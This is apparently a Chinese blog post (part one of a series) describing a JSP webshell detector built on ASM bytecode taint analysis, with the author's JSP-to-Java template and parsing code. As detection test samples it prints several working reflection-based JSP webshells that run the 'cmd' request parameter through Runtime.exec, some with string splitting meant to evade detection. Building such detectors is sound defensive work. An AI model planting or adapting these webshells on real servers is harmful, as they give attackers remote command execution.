基于污点分析的JSP Webshell检测(一)

简介: 基于污点分析的JSP Webshell检测

前言

在11月初,我做了一些JSP Webshell的免杀研究,主要参考了三梦师傅开源的代码。然后加入了一些代码混淆手段,编写了一个免杀马生成器JSPHorse,没想到在Github上已收获500+的Star

做安全只懂攻击不够,还应该懂防御

之前只做了一些免杀方面的事情,欠缺了防御方面的思考

于是我尝试自己做一个JSP Webshell的检测工具,主要原理是ASM做字节码分析并模拟执行,分析栈帧(JVM Stack Frame)得到结果

只输入一个JSP文件即可进行这一系列的分析,大致需要以下四步

  • 解析输入的JSP文件转成Java代码文件
  • 使用ToolProvider获得JavaCompiler动态编译Java代码
  • 编译后得到的字节码用ASM进行分析
  • 基于ASM模拟栈帧的变化实现污点分析


1ea1cdb28c2235f065e0fdcf76765524_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


类似之前写的工具CodeInspector,不过它是半成品只能理论上的学习研究,而这个工具是可以落地进行实际的检测,下面给大家展示下检测效果


效果

时间原因只做了针对于反射型JSP Webshell的检测

效果还是不错的,各种变形都可以轻松检测出

关于反射马的讲解,可以看我在B站做的视频:https://www.bilibili.com/video/BV1L341147od


来个基本的反射马:1.jsp

<%@ page language="java" pageEncoding="UTF-8" %>
<%
   String cmd = request.getParameter("cmd");
   Class rt = Class.forName("java.lang.Runtime");
   java.lang.reflect.Method gr = rt.getMethod("getRuntime");
   java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
   Process process = (Process) ex.invoke(gr.invoke(null), cmd);
   java.io.InputStream in = process.getInputStream();
   out.print("<pre>");
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       out.println(s);
  }
   out.print("</pre>");
%>


查出是Webshell

e376c4ba0e9134c6e3b374ea5bb16c59_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


如果把字符串给拆出来:2.jsp

<%@ page language="java" pageEncoding="UTF-8" %>
<%
   String cmd = request.getParameter("cmd");
   String name = "java.lang.Runtime";
   Class rt = Class.forName(name);
   String runtime = "getRuntime";
   java.lang.reflect.Method gr = rt.getMethod(runtime);
   java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
   Object obj = gr.invoke(null);
   Process process = (Process) ex.invoke(obj, cmd);
   java.io.InputStream in = process.getInputStream();
   out.print("<pre>");
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       out.println(s);
  }
   out.print("</pre>");
%>


查出是Webshell

894a292fbb6df549e1ff87c1c5f5e315_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


进一步变化,拆开字符串:3.jsp

<%@ page language="java" pageEncoding="UTF-8" %>
<%
   String cmd = request.getParameter("cmd");
   String name = "java.lang."+"Runtime";
   Class rt = Class.forName(name);
   String runtime = "getRu"+"ntime";
   java.lang.reflect.Method gr = rt.getMethod(runtime);
   String exec = "ex"+"ec";
   java.lang.reflect.Method ex = rt.getMethod(exec, String.class);
   Object obj = gr.invoke(null);
   Process process = (Process) ex.invoke(obj, cmd);
   java.io.InputStream in = process.getInputStream();
   out.print("<pre>");
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       out.println(s);
  }
   out.print("</pre>");
%>

或者合并成一行

Process process = (Process) Class.forName("java.lang.Runtime")
          .getMethod("exec", String.class)
          .invoke(Class.forName("java.lang.Runtime")
                          .getMethod("getRuntime").invoke(null), cmd);
   java.io.InputStream in = process.getInputStream();

都可以查出是Webshell

51159c0a9d8f54fa917ae83ab9e29ff4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


如果是正常逻辑,和执行命令无关:4.jsp

<%@ page language="java" pageEncoding="UTF-8" %>
<%
   String cmd = request.getParameter("cmd");
   Class rt = Class.forName("java.lang.String");
   java.lang.reflect.Method gr = rt.getMethod("getBytes");
   java.lang.reflect.Method ex = rt.getMethod("getBytes");
   Process process = (Process) ex.invoke(gr.invoke(null), cmd);
   java.io.InputStream in = process.getInputStream();
   out.print("<pre>");
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       out.println(s);
  }
   out.print("</pre>");
%>

那么不会存在误报

038c0b9b83184b5bda91d8d449fce07c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


JSP处理

第一步我们需要把输入的JSP转为Java代码,之所以这样做因为JSP无法直接变成字节码

原理其实简单:造一个模板类,把JSP的<% xxx %>中的xxx填入模板


模板如下,简单取了三个JSP中常用的变量放入参数

package org.sec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
@SuppressWarnings("unchecked")
public class Webshell {
   public static void invoke(HttpServletRequest request,
                             HttpServletResponse response,
                             PrintWriter out) {
       try {
           __WEBSHELL__
      } catch (Exception e) {
           e.printStackTrace();
      }
  }
}


简单做了一下解析,可能会存在BUG但在当前的情景下完全够用

byte[] jspBytes = Files.readAllBytes(path);
String jspCode = new String(jspBytes);
// 置空为了后续分割字符串
jspCode = jspCode.replace("<%@", "");
// 得到<% xxx %>的xxx
String tempCode = jspCode.split("<%")[1];
String finalJspCode = tempCode.split("%>")[0];
// 从Resource里读出模板
InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java");
if (inputStream == null) {
   logger.error("read template error");
   return;
}
// 读InputStream
StringBuilder resultBuilder = new StringBuilder();
InputStreamReader ir = new InputStreamReader(inputStream);
BufferedReader reader = new BufferedReader(ir);
String lineTxt = null;
while ((lineTxt = reader.readLine()) != null) {
   resultBuilder.append(lineTxt).append("\n");
}
ir.close();
reader.close();
// 替换模板文件
String templateCode = resultBuilder.toString();
String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode);
// 使用了google-java-format库做了下代码格式化
// 仅仅为了好看,没有功能上的影响
String formattedCode = new Formatter().formatSource(finalCode);
// 写入文件
Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8));


上面代码有一处坑:想从打包后的Jar的Resource里读东西必须用getResourceAsStream,如果用URI的方式会报错。另外这里用Main.class.getClassLoader()是为了读到classes根目录


经过处理后JSP变成这样的代码,可以使用Javac命令手动编译

package org.sec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
@SuppressWarnings("unchecked")
public class Webshell {
 public static void invoke(
     HttpServletRequest request, HttpServletResponse response, PrintWriter out) {
   try {
     String cmd = request.getParameter("cmd");
     Class rt = Class.forName("java.lang.Runtime");
     java.lang.reflect.Method gr = rt.getMethod("getRuntime");
     java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
     Process process = (Process) ex.invoke(gr.invoke(null), cmd);
     java.io.InputStream in = process.getInputStream();
     out.print("<pre>");
     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
     String s = null;
     while ((s = stdInput.readLine()) != null) {
       out.println(s);
    }
     out.print("</pre>");
  } catch (Exception e) {
     e.printStackTrace();
  }
}
}


相关文章
|
8月前
|
存储 Java 关系型数据库
JSP考试质量分析系统myeclipse开发mysql数据库bs框架java编程web网页结构
JSP 考试质量分析系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.0,使用java语言开发,系统主要采用B/S模式开发。
190 1
|
7月前
|
Java 物联网 Shell
Jsp Webshell在物联网的应用
Jsp Webshell在物联网的应用
|
8月前
|
Java 关系型数据库 MySQL
JSP故障诊断分析管理系统myeclipse开发mysql数据库BS模式java编程jdbc
JSP 故障诊断分析管理系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.0,使用java语言开发,系统主要采用B/S模式开发。
59 1
JSP故障诊断分析管理系统myeclipse开发mysql数据库BS模式java编程jdbc
|
Java
基于污点分析的JSP Webshell检测(三)
基于污点分析的JSP Webshell检测
153 0
基于污点分析的JSP Webshell检测(三)
|
Oracle Java 关系型数据库
基于污点分析的JSP Webshell检测(二)
基于污点分析的JSP Webshell检测
153 0
基于污点分析的JSP Webshell检测(二)
|
安全 Java
浅谈JSP Webshell进阶免杀(三)
浅谈JSP Webshell进阶免杀
605 0
|
算法 JavaScript Java
浅谈JSP Webshell进阶免杀(二)
浅谈JSP Webshell进阶免杀
244 0
|
17天前
|
Java
学院管理系统【JSP+Servlet+JavaBean】(Java课设)
学院管理系统【JSP+Servlet+JavaBean】(Java课设)
36 3
学院管理系统【JSP+Servlet+JavaBean】(Java课设)
|
17天前
|
Java
排课系统【JSP+Servlet+JavaBean】(Java课设)
排课系统【JSP+Servlet+JavaBean】(Java课设)
30 5
|
17天前
|
Java
仓库管理系统【JSP+Servlet+JavaBean】(Java课设)
仓库管理系统【JSP+Servlet+JavaBean】(Java课设)
21 1